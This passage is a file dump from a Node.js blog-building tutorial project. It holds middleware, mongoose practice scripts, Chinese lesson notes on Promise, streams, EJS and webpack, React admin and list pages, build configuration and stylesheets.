method.toLowerCase(); 21 | Object.assign(reqCtx,Url.parse(url,true),{method}) 22 | 23 | return Promise.resolve({ 24 | then:(resolve,reject)=>{ 25 | if(method == 'post'){ 26 | let data = []; 27 | //paused flow 28 | //paused ===> flow 29 | ctx.req.on('data',(chunk)=>{ 30 | data.push(chunk); 31 | }).on('end',()=>{ 32 | let endData = Buffer.concat(data).toString(); 33 | reqCtx.body = JSON.parse(endData); 34 | //通知下一个流程 35 | resolve() 36 | }); 37 | }else{ 38 | resolve() 39 | } 40 | } 41 | }) 42 | } 43 | -------------------------------------------------------------------------------- /test/mongoose/base.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 熟悉mongoose 3 | * http://mongoosejs.com/docs/index.html 4 | */ 5 | const mongoose = require('mongoose'); 6 | //设置数据schema 7 | const kittySchema = mongoose.Schema({ name: String }); 8 | //扩展schema方法 9 | kittySchema.methods.speak = function () { 10 | console.log(this.name); 11 | }; 12 | 13 | //生成mongoose数据模型管理 14 | var Kitten = mongoose.model('Kitten', kittySchema); 15 | //实例化 16 | var fluffy = new Kitten({ name: 'fluffy' }); 17 | fluffy.speak(); // "Meow name is fluffy" 18 | //----------------- 实战 --------------- 19 | //save =保存到document 20 | fluffy.save((err, fluffy)=>{ 21 | if (err) return console.error(err); 22 | fluffy.speak(); 23 | }); 24 | //find =查找所有数据 25 | Kitten.find(function (err, kittens) { 26 | if (err) return console.error(err); 27 | console.log('----find',kittens); 28 | }) 29 | //find 加上query条件 30 | Kitten.find({ name: /^fluff/ }, (err, kittens)=>{ 31 | if (err) return console.error(err); 32 | console.log('----find query',kittens); 33 | }) 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /doc/6th_ejs.md: -------------------------------------------------------------------------------- 1 | ## 第六课 引入EJS模板引擎 2 | 3 | #### 第五课作业小结 4 | 5 | > 提交网址 http://jscode.me/t/buffer-promise/1005/3 6 | 7 | - 知识回顾 8 | 9 | 1. 重构Node.js端的Promise风格代码 10 | 11 | 2. 认识如何设计数据模型来描述request,response。 12 | 13 | 14 | #### 第六课内容概要 15 | ------------------------------------------------ 16 | 17 | 1. 引入EJS中间件处理服务端渲染 18 | 19 | 2. 引入webpack2构建前端代码 20 | 21 | [ejs模板引擎文档](https://github.com/mde/ejs) 22 | [webpack2文档](https://webpack.js.org/concepts/) 23 | 24 | [ejs基本架构参考full-stack-practice](https://github.com/slashhuang/full-stack-practice/blob/master/view-engine/ejs.md) 25 | 26 | 27 | 第六课的代码的改造效果 28 | 29 | ```js 30 | // view-server 31 | let ejs= require('ejs'); 32 | let renderFn = ejs.compile(input, { 33 | compileDebug:true, 34 | _with:false, 35 | filename:path.resolve(__filename), //所有include的路径相对这个路径 36 | localsName:'$' 37 | }); 38 | renderFn({ 39 | hello:'world' 40 | }) 41 | 42 | ``` 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /doc/12th_react_antd.md: -------------------------------------------------------------------------------- 1 | # 管理后台react架构 2 | 3 | 4 | ## 知识点 5 | 6 | - 技术选型 JS: react + ant-design ; CSS:SCSS ; AJAX : axios 7 | 8 | - ant-design : https://ant.design/docs/react/introduce 9 | 10 | - react : https://facebook.github.io/react/ 11 | 12 | - SCSS : https://github.com/slashhuang/blog/tree/master/essays/css/scss 13 | 14 | - axios : https://github.com/mzabriskie/axios 15 | 16 | 17 | 18 | 19 | **项目架构** 20 | 21 | ```bash 22 | 23 | |- build webpack配置文件 24 | | | 25 | | |- 技术选型 webpack + ant-design 26 | | 27 | | 28 | |- css 前端基础css样式 29 | | | 30 | | |- highlight 代码高亮 31 | | |- header_footer 页面框架 32 | | |- reset.scss 重置样式 33 | | 34 | |- js 前端JS【按照业务模块划分】 35 | | | 36 | | |- components 公共组件 37 | | |- common 公共基础模块 38 | | 39 | | |- about 关于作者 40 | | |- detail 博客详情 41 | | |- index 首页 42 | | |- list 博客列表 43 | | |- manage 管理后台 44 | 45 | ``` 46 | 47 | 48 | [react配套教学项目地址](https://github.com/slashhuang/web-bolilerplate-for-beginners) -------------------------------------------------------------------------------- /test/http.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | // 测试http1.1 4 | const http = require('http'); 5 | const fs = require('fs'); 6 | //server 7 | http.createServer((req,res)=>{ 8 | // res.setHeader('Transfer-Encoding','chunked'); 9 | res.writeHead(200,'ok'); 10 | //模拟chunk encoding 11 | let source = fs.createReadStream('./test/tmp',{ 12 | highWaterMark:11 13 | }); 14 | source.pipe(res) 15 | }).listen(3000) 16 | 17 | 18 | 19 | const createClient = ()=>{ 20 | http.get({ 21 | hostname: 'localhost', 22 | port: 3000, 23 | path: '/', 24 | agent: false // create a new agent just for this one request 25 | }, (res) => { 26 | console.log(res.rawHeaders) 27 | let raw = [] 28 | res.on('data',(chunk)=>{ 29 | console.log('chunk comes in') 30 | raw.push(chunk); 31 | }).on('end',()=>{ 32 | console.log(Buffer.concat(raw,raw.length*11).toString('utf8')); 33 | }) 34 | // console.log(res) 35 | // Do stuff with response 36 | }); 37 | } 38 | setTimeout(createClient,5000) -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * created by slashhuang 4 | * 17/3/18 5 | */ 6 | const http = require('http'); 7 | const PORT = 7000; 8 | const App =require('./app'); 9 | const server = new App(); 10 | //中间件 11 | const cookieParser = require('./app/cookie-parser'); 12 | const staticServer = require('./app/staic-server'); 13 | const apiServer = require('./app/api'); 14 | const urlParser = require('./app/url-parser'); 15 | const viewServer = require('./app/view-server'); 16 | server.use(urlParser); 17 | server.use(cookieParser); 18 | server.use(apiServer); 19 | server.use(staticServer); 20 | server.use(viewServer); 21 | 22 | 23 | //引入mongoose 24 | const mongoose = require('mongoose') 25 | // Use native promises 26 | mongoose.Promise = global.Promise 27 | mongoose.connect('mongodb://localhost/blogDB') 28 | mongoose.connection.on('error', ()=>{console.log(`error happend for db`)}) 29 | .once('open', ()=>{console.log(`we're connected!`)}) 30 | 31 | //启动app 32 | http.createServer(server.initServer()).listen(PORT,()=>{ 33 | console.log(`server listening on port ${PORT}`) 34 | }); 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /test/mongoose/model.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 学习mongoose model 3 | * http://mongoosejs.com/docs/models.html 4 | */ 5 | 6 | const mongoose = require('mongoose') 7 | const moment = require('moment') 8 | const blogSchema = require('./schema')['blogSchema'] 9 | require('./_index') 10 | /* 11 | * Creating a model 12 | * 将schema塞入model 13 | */ 14 | 15 | const Blog = mongoose.model('Blog', blogSchema) 16 | var blog = new Blog({ 17 | title: 'gulp学习指南', 18 | author: 'slashhuang', 19 | body: 'hello world', 20 | comments: [{ body: '真不错', date:moment().toDate()}], 21 | // date: moment().toDate(), 22 | hidden: false, 23 | meta: { 24 | votes: 111, 25 | favs: 12 26 | } 27 | }); 28 | blog.save((err,blog)=>{ 29 | console.log(err) 30 | }) 31 | /*实例方法*/ 32 | blog.$findAll((err,list)=>{ 33 | console.log('findall',list) 34 | }) 35 | /*静态方法*/ 36 | Blog.findByName('gulp学习指南',(err,list)=>{ 37 | console.log('findByName',list) 38 | }) 39 | /*加上query*/ 40 | Blog.find().byName('fu').exec(function(err, list) { 41 | console.log(list); 42 | }); 43 | 44 | -------------------------------------------------------------------------------- /app/api/ajax.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 采用mongoose来处理ajax 3 | * @Author slashhuang 4 | */ 5 | 6 | let Router = require('./router') 7 | 8 | let { 9 | $_saveBlog, 10 | $_saveCategory, 11 | $_getCategoryList, 12 | $_getBlogDetail, 13 | $_getBlogList, 14 | $_deleteBlog } = require('./mongo') 15 | //获取分类列表 16 | Router.get('/categoryList.action',ctx=>{ 17 | return $_getCategoryList() 18 | }) 19 | //增加分类 20 | Router.post('/category.action',ctx=>{ 21 | let category = ctx.reqCtx.body 22 | return $_saveCategory(category) 23 | }) 24 | //添加博客 25 | Router.post('/blog.action',ctx=>{ 26 | let blog = ctx.reqCtx.body 27 | return $_saveBlog(blog) 28 | }) 29 | //博客详情页面 30 | Router.get('/blogDetail.action',ctx=>{ 31 | let { query } = ctx.reqCtx 32 | return $_getBlogDetail(query) 33 | }) 34 | //获取博客列表 35 | Router.get('/blogList.action',ctx=>{ 36 | let { query } = ctx.reqCtx 37 | return $_getBlogList(query) 38 | }) 39 | //删除博客 40 | Router.post('/deleteBlog.action',ctx=>{ 41 | let { body } = ctx.reqCtx 42 | return $_deleteBlog(body) 43 | }) 44 | 45 | module.exports = Router; 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /test/mongoose/schema.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 学习mongoose schema 3 | * http://mongoosejs.com/docs/guide.html 4 | * http://mongoosejs.com/docs/schematypes.html 5 | */ 6 | 7 | const mongoose = require('mongoose'); 8 | const Schema = mongoose.Schema; 9 | /* SchemaTypes are-- 10 | String Number Date Buffer Boolean Mixed ObjectId Array 11 | */ 12 | const blogSchema = new Schema({ 13 | title: String, 14 | author: String, 15 | body: String, 16 | comments: [{ body: String, date: Date }], 17 | date: { type: Date, default: Date.now }, 18 | hidden: Boolean, 19 | meta: { 20 | votes: Number, 21 | favs: Number 22 | } 23 | }); 24 | //Instances of Models are documents. 25 | blogSchema.methods.$findAll = function(cb) { 26 | return this.model('Blog').find(cb); 27 | }; 28 | // Static methods 29 | blogSchema.statics.findByName = function(title, cb) { 30 | return this.find({ title:title }, cb); 31 | }; 32 | //Query Helpers ==>for mongoose queries 33 | blogSchema.query.byName = function(name) { 34 | return this.find({ name: new RegExp(name, 'i') }); 35 | }; 36 | module.exports = { 37 | blogSchema 38 | } 39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /doc/3rd_promise.md: -------------------------------------------------------------------------------- 1 | 2 | ## 第三课 用Promise重构异步流程 3 | 4 | ## 第二课作业小结 5 | 6 | > 提交网址 http://jscode.me/t/html-css-js/848/26 7 | 8 | > 郭琪琛 ==> 已在项目中尝试用Promise处理[](https://github.com/GuoQichen/pure-node-notebook/blob/master/app/static-server/index.js) 9 | 10 | 11 | async await ===> Promise 12 | 13 | 14 | 15 | 课件流程 16 | 1. 增加对前端ajax的get请求服务 17 | 18 | 19 | 20 | //2. 采用url/querystring模块,抽象Url解析模块 [忽略] 21 | 22 | 23 | 3. 由异步出现的问题引出异步处理神器 =>Promise 24 | 4. Promise讲解 25 | 5. 采用Promise串行static-server/ajax服务/url解析模块 26 | 27 | 28 | 29 | 30 | --------------------------Promise知识-------------- 31 | 32 | - [Promise知识](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) 33 | 34 | 1. Promise的状态 35 | 36 | - pending 37 | - rejected 38 | - fulfilled 39 | 40 | 2. prototype原型方法和静态方法 41 | 42 | > new Promise((res,rej)=>{}) 43 | 44 | - Promise.prototype.then 45 | 46 | ==> return 新的Promise 47 | 48 | - Promise.prototype.catch 49 | 50 | ==> return 新的Promise 51 | 52 | 53 | 54 | - Promise.resolve 55 | 56 | - Promise.reject 57 | 58 | - Promise.all 59 | 60 | - Promise.race 61 | 62 | 3. Promise的作用 63 | 64 | - 状态存储 65 | 66 | - 异步处理 67 | 68 | - 链式调用 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /doc/7th_router_css.md: -------------------------------------------------------------------------------- 1 | ## 第七课 规划博客路由和markdown学习 2 | 3 | 4 | #### 第六课作业小结 5 | 6 | > 提交网址 http://jscode.me/t/ejs-webpack2/1027 7 | 8 | - 知识回顾 9 | 10 | 1. 理解EJS模板引擎原理 11 | 12 | 2. 构建view-parser中间件 13 | 14 | 3. 明白webpack2的配置方式 15 | 16 | 17 | #### 第七课内容概要 18 | ------------------------------------------------ 19 | 20 | 1. 设计博客功能及路由 21 | 22 | ### 页面框架 23 | 24 | - header: 头像 + 导航:首页 + 关于 + 博客列表 + 写博客(权限控制) + 搜索 25 | - footer: 友情链接 + github + 知乎 + 掘金 + copyright + 回到顶部 26 | - 内容区 :见如下内容排布 27 | 28 | ### 内容排布 29 | 30 | |-- /: 首页 博客列表 + 个人展示 31 | | 32 | |-- /list: 博客列表 博客分类 + 博客列表 33 | | 34 | |-- /write: 写博客 分两屏 markdown编辑器 + 预览区 35 | | 36 | |-- /about/ 关于 自由发挥 37 | | 38 | |-- url非法: 重定向到首页 39 | 40 | 2. markdown学习及响应式框架初步 41 | 42 | [wiki关于markdown的说明](https://zh.wikipedia.org/zh-hans/Markdown) 43 | 44 | [markdown中文语法说明](http://wowubuntu.com/markdown/) 45 | 46 | ## 技术选型 47 | 48 | 1. markdown转换html: [marked](https://github.com/chjj/marked) 49 | 50 | 2. code高亮: [highlight.js](https://github.com/isagalaev/highlight.js) 51 | 52 | 3. markdownParser :[css-trick社区推荐](https://css-tricks.com/choosing-right-markdown-parser/) 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /public/js/manage/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author slashhuang 3 | * 17/4/18 4 | * 写博客界面 5 | * 因为这块代码只能登陆才可见,所以暂时可以不考虑首屏性能问题 6 | */ 7 | import './scss/index.scss' 8 | import React,{ Component } from 'react' 9 | import { render } from 'react-dom' 10 | import LeftMenu from './components/menu' 11 | import CategoryPanel from './components/category' 12 | import WritePanel from './components/write' 13 | import ManagePanel from './components/manage' 14 | import { query } from './util' 15 | class ToolPanel extends Component{ 16 | state={ 17 | activeTab:query.type||'category' 18 | } 19 | changePanel(key){ 20 | this.setState({ 21 | activeTab:key 22 | }) 23 | } 24 | render(){ 25 | let { activeTab } = this.state 26 | return ( 27 |
28 |
29 | 30 |
31 | { 32 | do{ 33 | if(activeTab=='category'){ 34 | 35 | }else if(activeTab=='edit'){ 36 | 37 | }else{ 38 | 39 | } 40 | } 41 | } 42 |
43 | ) 44 | } 45 | } 46 | render(,document.getElementById('mod-manage')) 47 | -------------------------------------------------------------------------------- /public/js/detail/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 博客详情页面 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | require('./scss/index.scss') 7 | import { blogDetailApi } from '../manage/ajax/' 8 | import React,{ Component } from 'react' 9 | import { render } from 'react-dom' 10 | import { Spin } from 'antd' 11 | import querystring from 'querystring' 12 | import { DetailPanel } from '../components/' 13 | class DetailIndex extends Component{ 14 | state={ 15 | detail:null 16 | } 17 | componentDidMount(){ 18 | let query = querystring.parse(location.search.substr(1)) 19 | blogDetailApi(query).then(detail=>{ 20 | this.setState({detail}) 21 | }) 22 | } 23 | render(){ 24 | let {detail} = this.state 25 | return ( 26 |
27 | { 28 | do{ 29 | if(detail){ 30 | 31 | }else{ 32 | 33 | } 34 | } 35 | } 36 |
37 |
38 |
39 | ) 40 | } 41 | } 42 | render(,document.getElementById('mod-detail')) 43 | 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /doc/11th_ajax_mongo.md: -------------------------------------------------------------------------------- 1 | # 增加管理后台界面 2 | 3 | 4 | ### CRUD ==> create + replace + update + delete 5 | 6 | 对应的mongoose方法: save( insert+ update) + findOneAndUpdate + remove 7 | 8 | [增删改查文档](http://mongoosejs.com/docs/models.html) 9 | ### 博客列表及详情 10 | 11 | 1. '/blogDetail.action' =get=> 获取博客详情 12 | 13 | 2. '/blogList.action' =get=> 获取博客列表 14 | 15 | 3. '/blog.action' =post=> 增加或者更新博客 16 | 17 | 4. '/deleteBlog.action' =get=> 删除博客 18 | 19 | ### 博客分类相关 20 | 21 | 5. '/categoryList.action'=get=> 获取博客分类 22 | 23 | 6. '/category.action' =post=> 增加或者更新博客分类 24 | 25 | 26 | ### JSON versus BSON 27 | 1. BSON 28 | BSON = Bin­ary JSON 29 | 主要特性: 30 | bin­ary-en­coded seri­al­iz­a­tion of JSON-like doc­u­ments 31 | 更多数据类型: 32 | 比如 Date 、 Binary data ,采用C系数据类型 33 | 特点: 34 | 轻量 高效数据交换 IO 35 | 36 | 2. (JavaScript Object Notation) 37 | 38 | 轻量级的数据交换格式,理想的数据交换语言。 39 | 40 | 41 | 42 | [JSON](http://www.json.org/) 43 | [BSON](http://bsonspec.org/) 44 | 45 | 46 | ### ObjectId 47 | 48 | > 12-byte ObjectId 49 | key不会存在重复 50 | - 4-byte value representing the seconds since the Unix epoch, 51 | - 3-byte machine identifier, 52 | - 2-byte process id, and 53 | - 3-byte counter, starting with a random value. 54 | 55 | [ObjectId](https://docs.mongodb.com/manual/reference/method/ObjectId/) 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /public/js/list/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 博客列表页面 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | require('./scss/index.scss') 7 | 8 | import { blogListApi } from '../manage/ajax/' 9 | import React,{ Component } from 'react' 10 | import { render } from 'react-dom' 11 | import { Spin } from 'antd' 12 | import { DetailPanel } from '../components/' 13 | 14 | class ListPanel extends Component{ 15 | state={ 16 | blogList:[] 17 | } 18 | componentDidMount(){ 19 | blogListApi().then(blogList=>{ 20 | this.setState({blogList}) 21 | }) 22 | } 23 | renderBlog(detail){ 24 | return 25 | } 26 | renderList(){ 27 | let { blogList } =this.state; 28 | return blogList.map(blog=>{ 29 | return this.renderBlog(blog) 30 | }) 31 | } 32 | render(){ 33 | let { blogList } =this.state; 34 | return ( 35 |
36 | { 37 | do{ 38 | if(blogList.length>0){ 39 | this.renderList() 40 | }else{ 41 | 42 | } 43 | } 44 | } 45 |
46 | ) 47 | } 48 | } 49 | render(,document.getElementById('mod-list')) 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /public/js/manage/components/menu.js: -------------------------------------------------------------------------------- 1 | import React ,{ Component } from 'react'; 2 | import { Menu, Icon } from 'antd'; 3 | const SubMenu = Menu.SubMenu; 4 | const MenuItemGroup = Menu.ItemGroup; 5 | import { query } from '../util' 6 | 7 | export default 8 | class LeftMenu extends React.Component { 9 | state = { 10 | current: query.type || 'category', 11 | } 12 | handleClick = (e) => { 13 | window.history.pushState(null,'管理列表',`manage?type=${e.key}`) 14 | this.setState({ 15 | current: e.key 16 | },()=>{ 17 | this.props.onClick(e.key) 18 | }); 19 | } 20 | render() { 21 | return ( 22 | 30 | 管理面板}> 32 | 33 | 34 | 文章分类 35 | 36 | 37 | 文章管理 38 | 39 | 40 | 写文章 41 | 42 | 43 | 44 | 45 | 46 | ); 47 | } 48 | } 49 | 50 | -------------------------------------------------------------------------------- /public/build/webpack.config.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author slashhuang 3 | * webpack项目配置 4 | */ 5 | var plugins = require('./plugin_loader.js')['plugins']; 6 | var loaders = require('./plugin_loader.js')['loaders']; 7 | var path= require('path'); 8 | var AddResolve = (obj)=>{ 9 | var transObj = {}; 10 | for(var key in obj){ 11 | transObj[key] = path.resolve(__dirname,'../',obj[key]) 12 | } 13 | return transObj; 14 | }; 15 | //webpack配置文件 16 | module.exports = { 17 | context:path.resolve(__dirname,'../'), 18 | watch:process.env['NODE_ENV']!='prod', 19 | entry: { 20 | index:'./js/index/index.js', 21 | manage:"./js/manage/index.js", 22 | detail:"./js/detail/index.js", 23 | list:"./js/list/index.js", 24 | about:"./js/about/index.js", 25 | common: [ 26 | 'react', 27 | "react-dom", 28 | "reset", 29 | 'common_lib' 30 | ] 31 | }, 32 | // debug: true, 33 | devtool: 'source-map', 34 | output: { 35 | path: path.resolve(__dirname,'../dist/'), 36 | filename: '[name].js', 37 | chunkFilename: '[name].min.js', 38 | publicPath: '' 39 | }, 40 | resolve: { 41 | alias: AddResolve(require('./alias')) 42 | }, 43 | plugins, 44 | module: { 45 | rules:loaders 46 | } 47 | }; 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /doc/4th_stream.md: -------------------------------------------------------------------------------- 1 | 2 | ## 引入stream处理post和put请求 + 采用Promise构建流式中间件 3 | 4 | ## 第三课作业小结 5 | 6 | > 提交网址 http://jscode.me/t/json-promise-api-server-static-server/982 7 | 8 | ------------------------------------------------------ 9 | 10 | 11 | http ==> on('data',()) response.end() 12 | fs fs.writeFile fs.readFile 13 | console.log() ==> process.stdout 14 | 15 | request.on('data',()=>{}) 16 | request.on('end',()=>) 17 | 第四节课上课流程安排: 18 | 19 | 1、第三课Promise回顾【答疑】 20 | 2、stream知识 => 处理post请求 21 | 3、抽象url-parser 22 | 23 | 24 | 25 | 4、Promise抽象中间件模型 + 链式处理static-server、api-server、url-parser中间件。 26 | 27 | 28 | 29 | -------------------------- 课前预习资料----------------------- 30 | 31 | 32 | - [Promise复习](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise) 33 | 34 | - [request对象](https://github.com/nodejs/node/blob/master/doc/api/http.md) 35 | 36 | - [stream基本知识](https://github.com/nodejs/node/blob/master/doc/api/stream.md) 37 | 38 | 39 | 40 | -----------------------node的url/querystring模块--------------- 41 | 42 | > 处理客户端url 43 | 44 | [url模块](https://github.com/nodejs/node/blob/master/doc/api/url.md) 45 | 46 | - [url模块图解](./3rd-assets/url.png) 47 | 48 | 49 | > 处理客户端query参数 50 | 51 | [querystring模块](https://github.com/nodejs/node/blob/master/doc/api/querystring.md) 52 | 53 | ```javascript 54 | querystring.stringify({ foo: 'bar', baz: ['qux', 'quux'], corge: '' }) 55 | // returns 'foo=bar&baz=qux&baz=quux&corge=' 56 | 57 | querystring.parse('foo=bar&abc=xyz&abc=123') 58 | // returns { 59 | foo: 'bar', 60 | abc: ['xyz', '123'] 61 | } 62 | ``` -------------------------------------------------------------------------------- /public/js/manage/ajax/blog.js: -------------------------------------------------------------------------------- 1 | //网络请求 2 | import axios from 'axios'; 3 | //url形式 localhost:7000/blog?id=111 4 | const blogDetailApi = (query)=>{ 5 | let api = '/blogDetail.action' 6 | return axios.get(api,{params:query}).then((res)=>{ 7 | return res['data'] 8 | }) 9 | }; 10 | const blogListApi = (query)=>{ 11 | let api = '/blogList.action' 12 | return axios.get(api,{params:query}).then((res)=>{ 13 | return res['data'] 14 | }) 15 | }; 16 | const submitBlogApi = (query)=>{ 17 | let api = '/blog.action' 18 | return axios.post(api,{params:query}) 19 | .then((res)=>{ 20 | if(res['status']==-1){ 21 | return { 22 | error:true, 23 | msg:res['data'] 24 | } 25 | }else{ 26 | return res['data'] 27 | } 28 | }) 29 | } 30 | const deleteBlogApi = (id)=>{ 31 | let api = '/deleteBlog.action' 32 | return axios.post(api,{id}) 33 | .then((res)=>{ 34 | if(res['status']==-1){ 35 | return { 36 | error:true, 37 | msg:res['data'] 38 | } 39 | }else{ 40 | return res['data'] 41 | } 42 | }) 43 | } 44 | export { 45 | submitBlogApi, 46 | blogDetailApi, 47 | blogListApi, 48 | deleteBlogApi 49 | } 50 | 51 | 52 | -------------------------------------------------------------------------------- /public/js/about/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 博客详情页面 3 | * @Author slashhuang 4 | * 17/4/25 5 | */ 6 | import { blogListApi } from '../manage/ajax/' 7 | import React,{ Component } from 'react' 8 | import { render } from 'react-dom' 9 | import { Spin } from 'antd' 10 | import { DetailPanel } from '../components/' 11 | class ListPanel extends Component{ 12 | state={ 13 | blogList:[] 14 | } 15 | componentDidMount(){ 16 | blogListApi({ 17 | 'category.name':'about' 18 | }).then(blogList=>{ 19 | this.setState({blogList}) 20 | }) 21 | } 22 | renderBlog(detail){ 23 | return 24 | } 25 | renderList(){ 26 | let { blogList } =this.state; 27 | return blogList.map(blog=>{ 28 | return this.renderBlog(blog) 29 | }) 30 | } 31 | render(){ 32 | let { blogList } =this.state; 33 | return ( 34 |
35 | { 36 | do{ 37 | if(blogList.length>0){ 38 | this.renderList() 39 | }else{ 40 | 41 | } 42 | } 43 | } 44 |
45 |
46 |
47 | ) 48 | } 49 | } 50 | 51 | render(,document.getElementById('mod-about')) 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /public/js/manage/components/write.js: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author slashhuang 3 | * 17/4/18 4 | * 写博客界面 5 | * 因为这块代码只能登陆才可见,所以暂时可以不考虑首屏性能问题 6 | */ 7 | import React ,{ Component } from 'react'; 8 | import { render } from 'react-dom'; 9 | import { categoryListApi,blogDetailApi } from '../ajax/' 10 | import { BlogWritePanel } from '../../components/' 11 | //markdown 功能 12 | import marked from 'marked'; 13 | import highlight from 'highlight.js' 14 | marked.setOptions({ 15 | highlight: function (code) { 16 | return highlight.highlightAuto(code).value; 17 | } 18 | }); 19 | import Dialog from './Dialog' 20 | export default 21 | class Write extends Component{ 22 | constructor(){ 23 | super(); 24 | this.state={ 25 | content:"", 26 | title:'', 27 | previewContent:"", 28 | category:{} 29 | } 30 | } 31 | componentDidMount(){ 32 | let {blogId} = this.props 33 | if(blogId){ 34 | blogDetailApi({id:blogId}).then(detail=>{ 35 | if(detail){ 36 | this.setState({ 37 | content:detail.rawContent, 38 | category:detail.category, 39 | title:detail.title, 40 | previewContent:detail.content, 41 | blogId:detail._id 42 | }) 43 | } 44 | }) 45 | } 46 | categoryListApi().then(categoryList=>{ 47 | this.setState({categoryList}) 48 | }) 49 | } 50 | render(){ 51 | return 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /public/js/components/detail/markdown.scss: -------------------------------------------------------------------------------- 1 | $e6:#e6e6e6; 2 | $m-screen:648px; //适配ipad 3 | 4 | $base:14px; 5 | .markdown{ 6 | $blue: #108ee9; 7 | $brow: #efd5b8; 8 | $l-gray:#808080; 9 | $d-green:#002b36; 10 | $s-light-gray:#839496; 11 | font-size:$base; 12 | * { 13 | word-wrap:break-word; 14 | word-break:break-all; 15 | } 16 | //设置h1到h6 17 | @for $i from 1 through 6 { 18 | h#{$i} { 19 | font-size:$base+12-$i*3; 20 | margin-top:$base + 2 - $i*2; 21 | } 22 | } 23 | p{ 24 | font-size:$base+2px; 25 | line-height: 1.7em; 26 | } 27 | pre{ 28 | code{ 29 | width: 100%; 30 | display: block; 31 | color: $s-light-gray; 32 | } 33 | } 34 | code{ 35 | display: inline-block; 36 | background: $d-green; 37 | color: $blue; 38 | padding: 0.1em 0.5em; 39 | } 40 | 41 | blockquote{ 42 | border-left: 0.4em solid $brow; 43 | margin: .8em 0 .8em 1%; 44 | padding-left: 1%; 45 | line-height: 1.5; 46 | color: $l-gray; 47 | } 48 | a{ 49 | color:$blue; 50 | background: transparent; 51 | text-decoration: none; 52 | outline: none; 53 | cursor: pointer; 54 | -webkit-transition: color .3s ease; 55 | transition: color .3s ease; 56 | } 57 | ol{ 58 | display: block; 59 | list-style-type: decimal; 60 | padding-left:1em; 61 | li{ 62 | list-style: decimal; 63 | } 64 | } 65 | } 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /test/css_responsive/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 媒体查询 5 | 46 | 47 | 48 |
49 |
50 | 64 |
65 | hello world 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /public/css/highlight/dark.scss: -------------------------------------------------------------------------------- 1 | /* Base16 Atelier Cave Dark - Theme */ 2 | /* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/cave) */ 3 | /* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */ 4 | 5 | /* Atelier-Cave Comment */ 6 | .hljs-comment, 7 | .hljs-quote { 8 | color: #7e7887; 9 | } 10 | 11 | /* Atelier-Cave Red */ 12 | .hljs-variable, 13 | .hljs-template-variable, 14 | .hljs-attribute, 15 | .hljs-regexp, 16 | .hljs-link, 17 | .hljs-tag, 18 | .hljs-name, 19 | .hljs-selector-id, 20 | .hljs-selector-class { 21 | color: #be4678; 22 | } 23 | 24 | /* Atelier-Cave Orange */ 25 | .hljs-number, 26 | .hljs-meta, 27 | .hljs-built_in, 28 | .hljs-builtin-name, 29 | .hljs-literal, 30 | .hljs-type, 31 | .hljs-params { 32 | color: #aa573c; 33 | } 34 | 35 | /* Atelier-Cave Green */ 36 | .hljs-string, 37 | .hljs-symbol, 38 | .hljs-bullet { 39 | color: #2a9292; 40 | } 41 | 42 | /* Atelier-Cave Blue */ 43 | .hljs-title, 44 | .hljs-section { 45 | color: #576ddb; 46 | } 47 | 48 | /* Atelier-Cave Purple */ 49 | .hljs-keyword, 50 | .hljs-selector-tag { 51 | color: #955ae7; 52 | } 53 | 54 | .hljs-deletion, 55 | .hljs-addition { 56 | color: #19171c; 57 | display: inline-block; 58 | width: 100%; 59 | } 60 | 61 | .hljs-deletion { 62 | background-color: #be4678; 63 | } 64 | 65 | .hljs-addition { 66 | background-color: #2a9292; 67 | } 68 | 69 | .hljs { 70 | display: block; 71 | overflow-x: auto; 72 | background: #19171c; 73 | color: #8b8792; 74 | padding: 0.5em; 75 | } 76 | 77 | .hljs-emphasis { 78 | font-style: italic; 79 | } 80 | 81 | .hljs-strong { 82 | font-weight: bold; 83 | } 84 | 85 | -------------------------------------------------------------------------------- /app/view-server/ejs/module/header.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | slashhuang的技术博客 12 | 13 | 14 | 15 | 16 |
17 | 18 | 46 |
